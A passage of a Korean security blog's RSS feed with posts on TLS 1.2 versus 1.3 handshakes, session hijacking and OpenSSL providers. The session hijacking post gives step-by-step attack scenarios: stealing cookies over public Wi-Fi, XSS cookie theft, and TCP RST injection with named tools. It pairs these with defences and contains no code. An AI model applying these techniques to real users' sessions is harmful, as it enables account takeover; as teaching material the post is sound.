&lt;li&gt;ECDHE/DHE (forward secrecy 필수).&lt;/li&gt;
&lt;li&gt;서버 인증: Certificate + CertificateVerify (private key로 서명).&lt;/li&gt;
&lt;li&gt;ServerHello 이후 모두 암호화된 채로 전송.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;4. Finished 메시지&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;TLS 1.2&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버와 클라이언트가 각자 Finished 메시지를 전송해 integrity 확인.&lt;/li&gt;
&lt;li&gt;이후 application data 암호화 시작.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;TLS 1.3&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Finished 메시지는 ServerHello 이후로 암호화됨.&lt;/li&gt;
&lt;li&gt;키 유도 과정이 단순화 (HKDF 사용).&lt;/li&gt;
&lt;li&gt;Finished 후 바로 application data 암호화.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;5. 성능 및 보안 개선&lt;/b&gt;&lt;/h4&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;항목&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;TLS 1.2&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;TLS 1.3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;성능&lt;/td&gt;
&lt;td&gt;2 RTT 이상&lt;/td&gt;
&lt;td&gt;1 RTT (0-RTT 재연결 시 거의 0 RTT)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;암호 강제 조건&lt;/td&gt;
&lt;td&gt;RC4, SHA1 등 legacy 지원&lt;/td&gt;
&lt;td&gt;최신 강력한 암호화 및 forward secrecy 강제&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;공격 대응&lt;/td&gt;
&lt;td&gt;취약점 많음 (BEAST, CRIME, FREAK 등)&lt;/td&gt;
&lt;td&gt;보안성 강화 (취약 알고리즘 제거, simpler design)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>정보보호</category>
      <category>Handshake</category>
      <category>tls</category>
      <category>TLS1.2</category>
      <category>tls1.3</category>
      <category>핸드쉐이크</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/31</guid>
      <comments>https://defcon.tistory.com/31#entry31comment</comments>
      <pubDate>Sun, 4 May 2025 19:44:28 +0900</pubDate>
    </item>
    <item>
      <title>세션 하이재킹(Session Hijacking) 개념</title>
      <link>https://defcon.tistory.com/30</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;애플리케이션 세션 하이재킹이란?&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;세션 하이재킹은 사용자가 웹 애플리케이션 또는 서비스에 로그인한 뒤 서버로부터 부여받은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;세션 식별자(session ID)&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;를 공격자가 탈취하거나 가로채서, 해당 사용자의 권한으로 서버에 접근하거나 행동하는 공격입니다.&lt;br /&gt;쉽게 말해,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;사용자 행세&lt;/b&gt;를 하는 겁니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;웹 애플리케이션은 로그인 이후 사용자 인증을 계속 유지하기 위해 쿠키나 URL 파라미터, 헤더 등에 세션 ID를 사용합니다. 이 세션 ID만 확보하면 공격자는 비밀번호나 ID 없이도 피해자 계정으로 접속할 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;세션 하이재킹 주요 공격 기법&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;1.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;세션 스니핑(Session Sniffing)&lt;/b&gt;&lt;br /&gt;네트워크 상에서 패킷을 도청하여 세션 ID를 가로채는 방법입니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;공격자가 같은 네트워크(예: 공용 Wi-Fi)에 있을 때 유용&lt;/li&gt;
&lt;li&gt;HTTP 트래픽은 암호화되지 않아 세션 쿠키나 헤더가 평문으로 노출됨&lt;/li&gt;
&lt;li&gt;이를 막기 위해 HTTPS가 필수&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;2.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;세션 예측(Session Prediction)&lt;/b&gt;&lt;br /&gt;세션 ID 생성 규칙이 약하거나 예측 가능한 경우, 공격자가 가능한 세션 ID를 추측하여 접속하는 방식입니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;예: 순차적인 숫자나 짧은 랜덤 값&lt;/li&gt;
&lt;li&gt;보안성이 약한 PRNG(난수 생성기) 사용 시 쉽게 예측 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;3.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;Cross-site Scripting (XSS) 활용&lt;/b&gt;&lt;br /&gt;웹사이트에 XSS 취약점이 있으면, 공격자가 악성 스크립트를 삽입해 피해자의 브라우저에서 세션 쿠키를 훔쳐 서버로 전송시킬 수 있습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;document.cookie로 쿠키 값 접근 후 공격자 서버로 전송&lt;/li&gt;
&lt;li&gt;HttpOnly 속성을 쿠키에 설정하면 자바스크립트로 접근을 차단 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;4. &lt;/span&gt;&lt;b&gt;세션 고정(Session Fixation)&lt;/b&gt;&lt;br /&gt;공격자가 미리 고정된 세션 ID를 피해자에게 심어주고, 피해자가 로그인하면 해당 세션 ID로 공격자가 접속하는 방식입니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;예: 피싱 링크에 세션 ID를 포함시켜 전달&lt;/li&gt;
&lt;li&gt;서버가 로그인 후 세션 ID를 재발급하지 않으면 공격이 성공&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;5. &lt;/span&gt;&lt;b&gt;Man-in-the-Middle (MITM)&lt;/b&gt;&lt;br /&gt;공격자가 네트워크 중간에 위치해 트래픽을 중간에서 가로채거나 변조하는 공격입니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;세션 하이재킹뿐 아니라 패스워드, 개인정보 탈취도 가능&lt;/li&gt;
&lt;li&gt;SSL/TLS 사용 및 인증서 검증으로 방어 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;공격 시나리오 예시&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;1 사용자가 카페에서 공용 Wi-Fi로 웹사이트에 로그인&lt;br /&gt;2 공격자가 같은 Wi-Fi에 접속해 패킷 스니핑(예: Wireshark) 진행&lt;br /&gt;3 HTTP 트래픽에서 세션 쿠키 값 발견&lt;br /&gt;4 공격자가 자신의 브라우저에서 해당 쿠키를 강제로 세팅하고 사이트 접속&lt;br /&gt;5 피해자 계정으로 로그인된 상태에서 민감 정보 접근, 행동 가능&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;방어 방법&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&amp;nbsp;모든 트래픽에 HTTPS 사용&lt;/li&gt;
&lt;li&gt;세션 쿠키에 HttpOnly, Secure 속성 설정&lt;/li&gt;
&lt;li&gt;세션 ID를 충분히 길고 예측 불가능하게 생성&lt;/li&gt;
&lt;li&gt;로그인 시마다 세션 ID 재발급 (세션 고정 방지)&lt;/li&gt;
&lt;li&gt;사용자 활동 감지 및 의심스러운 요청 차단 (예: IP/브라우저 Fingerprint 변경 시 로그아웃)&lt;/li&gt;
&lt;li&gt;XSS 방어 (입력값 검증, Content Security Policy 설정)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;TCP 세션 하이재킹이란?&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;TCP는 통신 세션을 유지하기 위해&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;시퀀스 번호(Sequence Number)&lt;/b&gt;와&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;확인 번호(Acknowledgment Number)&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;를 사용합니다.&lt;br /&gt;공격자는 이 시퀀스 번호 체계를 조작하여 클라이언트와 서버 간 세션에 끼어들거나 기존 세션을 탈취할 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;즉,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;서버와 클라이언트가 이미 연결된 상태&lt;/b&gt;에서 공격자가 다음과 같은 과정을 거쳐 세션을 가로채는 방식입니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;br /&gt;공격 원리&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;1.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;세션 식별&lt;/b&gt;&lt;br /&gt;공격자는 타겟 클라이언트와 서버 간의 TCP 연결 상태, IP, 포트, 현재 시퀀스 번호를 파악해야 합니다.&lt;br /&gt;이것을 위해&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;스니핑(패킷 캡처)&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;또는 예측(시퀀스 넘버 예측)이 필요합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;2.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;세션 방해&lt;/b&gt;&lt;br /&gt;공격자는 클라이언트 또는 서버에게&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;TCP RST (Reset)&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;패킷을 보내 현재 세션을 강제로 종료시킵니다.&lt;br /&gt;예:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;클라이언트에게 RST &amp;rarr; 클라이언트는 연결이 끊긴 줄 알고 통신 중단&lt;/li&gt;
&lt;li&gt;서버에게 RST &amp;rarr; 서버는 해당 클라이언트 연결을 끊음&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;3.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;세션 재구성&lt;/b&gt;&lt;br /&gt;공격자는 클라이언트 대신 서버로, 서버 대신 클라이언트로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;위장된 패킷&lt;/b&gt;을 보냅니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;올바른 IP/포트 조합 사용&lt;/li&gt;
&lt;li&gt;정확한 시퀀스 번호로 패킷 전송&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;만약 시퀀스 번호가 정확히 맞아떨어지면, 서버는 공격자를 클라이언트로 인식하고 통신을 이어갑니다.&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;인증 우회&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;TCP 레벨 세션은 일반적으로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;애플리케이션 인증&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(예: ID/PW, 세션 토큰)과 별개로 동작합니다.&lt;br /&gt;따라서 TCP 세션만 탈취해도 이미 인증된 애플리케이션 레이어의 세션을 가로채거나 추가 인증 없이 패킷을 주고받을 수 있게 됩니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;예:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Telnet, FTP, POP3 같은 평문 프로토콜에서 로그인 후 TCP 세션을 하이재킹하면 ID/PW 없이 명령어 주입 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;공격 시나리오 예시&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;1.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;공격 준비&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;같은 네트워크에 위치하거나 중간자 위치 확보 (예: MITM)&lt;/li&gt;
&lt;li&gt;Wireshark, tcpdump 등으로 트래픽 모니터링&lt;/li&gt;
&lt;li&gt;클라이언트와 서버 간 세션 정보 (IP, 포트, 시퀀스 번호) 파악&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;2.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;RST 패킷 전송&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;클라이언트에게 서버로부터 온 것처럼 RST 패킷을 보냄 &amp;rarr; 클라이언트 연결 종료&lt;/li&gt;
&lt;li&gt;서버에게 클라이언트로부터 온 것처럼 RST 패킷을 보냄 &amp;rarr; 서버 연결 종료&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;3.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;세션 재구성&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;공격자는 클라이언트의 IP와 포트, 시퀀스 번호를 그대로 복제&lt;/li&gt;
&lt;li&gt;서버로부터의 응답을 받아 세션을 이어감 (패킷 인젝션 가능)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;조건 및 난이도&lt;/b&gt;&lt;/h3&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;조건&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IP 스푸핑 가능&lt;/td&gt;
&lt;td&gt;공격자가 클라이언트 IP로 패킷 전송 가능해야 함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;시퀀스 번호 예측 또는 캡처&lt;/td&gt;
&lt;td&gt;최신 시스템은 랜덤 시퀀스 번호 사용, 예측 어려움&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;응답 패킷 수신&lt;/td&gt;
&lt;td&gt;IP 스푸핑만으로는 서버 응답을 받지 못하는 경우가 많음 (반송 패킷은 클라이언트로 감)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;즉,&amp;nbsp;스니핑 가능성(MITM 위치)&amp;nbsp;이 있으면 쉬워지고, 원격에서 스푸핑만으로는 어려운 공격입니다.&lt;/blockquote&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;방어 방법&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;최신 TCP/IP 스택은 랜덤 시퀀스 넘버를 사용 (RFC 6528)&lt;/li&gt;
&lt;li&gt;서버와 클라이언트 간 암호화 (SSH, TLS)&lt;/li&gt;
&lt;li&gt;세션 무결성 검증 (애플리케이션 레벨에서)&lt;/li&gt;
&lt;li&gt;IP 필터링, 방화벽 설정&lt;/li&gt;
&lt;li&gt;짧은 세션 타임아웃, 세션 재검증&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;실제 실습 도구&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;hping&lt;/b&gt;: TCP 패킷 조작 및 RST 패킷 전송&lt;/li&gt;
&lt;li&gt;&lt;b&gt;ettercap&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;/&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;Cain &amp;amp; Abel&lt;/b&gt;: ARP 스푸핑 및 MITM + 세션 하이재킹&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Wireshark&lt;/b&gt;: 시퀀스 번호 및 세션 모니터링&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>정보보호</category>
      <category>session hijacking</category>
      <category>TCP</category>
      <category>네트워크계층</category>
      <category>세션</category>
      <category>세션하이재킹</category>
      <category>애플리케이션계층</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/30</guid>
      <comments>https://defcon.tistory.com/30#entry30comment</comments>
      <pubDate>Sun, 4 May 2025 10:12:30 +0900</pubDate>
    </item>
    <item>
      <title>OpenSSL Provider에 대한 개념</title>
      <link>https://defcon.tistory.com/29</link>
      <description>&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;OpenSSL Provider란?&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;기존 OpenSSL 1.1.x까지는 암호 알고리즘이&lt;span&gt;&amp;nbsp;&lt;/span&gt;libcrypto&lt;span&gt;&amp;nbsp;&lt;/span&gt;안에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;하드코딩&lt;/b&gt;되어 있었습니다.&lt;br /&gt;하지만 OpenSSL 3.0부터는 이런 암호 알고리즘 구현을&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;플러그인(Provider)&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;형태로 분리했습니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;즉, Provider는 OpenSSL에서 사용할 수 있는 암호 알고리즘, 키 관리, 서명, 해시 등&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;암호 서비스&lt;/b&gt;들의 집합입니다.&lt;br /&gt;OpenSSL 라이브러리 본체는 이 Provider들로부터 필요한 기능을 가져와서 실행합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;왜 Provider를 도입했나?&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;유연성&lt;/b&gt;&lt;br /&gt;새로운 알고리즘이나 하드웨어 가속 기능을 추가할 때 OpenSSL을 직접 수정하거나 재컴파일할 필요 없이, 별도 Provider만 추가하면 됩니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;정책 분리&lt;/b&gt;&lt;br /&gt;예: FIPS 인증된 알고리즘만 사용해야 할 경우, FIPS Provider만 로드하면 됩니다. 반대로 개발용에선 Default Provider를 쓰면 됩니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;사용자 정의&lt;/b&gt;&lt;br /&gt;개발자가 직접 자신만의 Provider를 작성해 OpenSSL에 플러그인처럼 붙일 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;OpenSSL 기본 제공 Provider 종류&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;OpenSSL 3.0 설치 시 기본으로 제공되는 Provider들은 다음과 같습니다:&lt;/p&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%; height: 89px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px; text-align: center;&quot;&gt;Provider 이름&lt;/td&gt;
&lt;td style=&quot;height: 17px; text-align: center;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;height: 18px; text-align: center;&quot;&gt;&lt;b&gt;default&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 18px;&quot;&gt;대부분의 표준 알고리즘 (RSA, AES, SHA 등) 포함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;height: 18px; text-align: center;&quot;&gt;&lt;b&gt;fips&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 18px;&quot;&gt;FIPS 140-2 인증용 알고리즘 제공 (엄격한 보안 요구사항에 맞춤)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;height: 18px; text-align: center;&quot;&gt;&lt;b&gt;legacy&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 18px;&quot;&gt;오래되었거나 약한 보안의 알고리즘 제공 (MD5, RC4 등)&lt;/td&gt;
&lt;/tr&gt;
